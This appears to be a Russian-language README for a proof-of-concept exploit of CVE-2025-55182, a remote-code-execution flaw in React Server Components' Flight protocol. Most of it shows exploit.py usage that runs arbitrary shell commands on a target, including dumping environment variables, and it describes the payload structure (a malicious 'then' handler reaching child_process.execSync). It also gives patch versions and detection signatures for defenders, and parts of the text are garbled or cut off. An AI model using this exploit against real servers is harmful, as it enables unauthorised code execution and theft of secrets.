
Эксплойт proof-of-concept для CVE-2025-55182 (React2Shell), критической уязвимости RCE в React Server Components через небезопасную десериализацию. Включает скрипт эксплойта, настройку уязвимого приложения и сигнатуры обнаружения для авторизованного тестирования безопасности.
Этот репозиторий содержит доказательство концепции для CVE-2025-55182, критической уязвимости удаленного выполнения кода в React Server Components. Данный материал предназначен только для авторизованного тестирования безопасности и исследовательских целей.
React:
Next.js:
Уязвимость эксплуатирует небезопасную десериализацию в протоколе Flight компонентов React Server. Когда сервер получает специально сформированную полезную нагрузку, он не может корректно проверить структуру перед десериализацией, что позволяет злоумышленнику управлять выполнением на стороне сервера.
thenprocess.mainModule.require('child_process')npm install
npm run dev
Сервер запустится на http://localhost:3000
app/
├── page.js # Главная страница с ServerForm
├── ServerForm.js # Клиентский компонент с формой
├── actions.js # Уязвимое серверное действие
└── layout.js # Корневой макет
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: Целевой URL (обязательно)-c, --command: Команда оболочки для выполнения (по умолчанию: id)--check-only: Только проверить, уязвима ли цельПроверить, уязвима ли цель:
python3 exploit.py -t http://localhost:3000 --check-only
Выполнить произвольные команды:
# Получить информацию о пользователе
python3 exploit.py -t http://localhost:3000 -c "id"
# Список файлов
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Создать файл для POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Прочитать переменные окружения
python3 exploit.py -t http://localhost:3000 -c "env"
Эксплойт использует multipart form-data со следующим содержанием:
Поле "0": Вредоносный JSON с пользовательским обработчиком 'then'
Поле "1": Ссылка на поле 0 ($@0)
Заголовок: Next-Action: x (запускает обработку RSC)
Полезная нагрузка манипулирует внутренним объектом _response для выполнения:
process.mainModule.require('child_process').execSync('<команда>')
Обновить React:
npm install [email protected] [email protected]
Обновить Next.js:
npm install [email protected] # или последняя исправленная версия
Next-Action$@then в телах запросовPOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...содержит {"then":"$@
Это доказательство концепции предоставлено только для образовательных и авторизованных целей тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Авторы не несут ответственности за неправомерное использование этой информации.
НЕ ДЕЛАЙТЕ:
Лицензия MIT — Только для целей исследований безопасности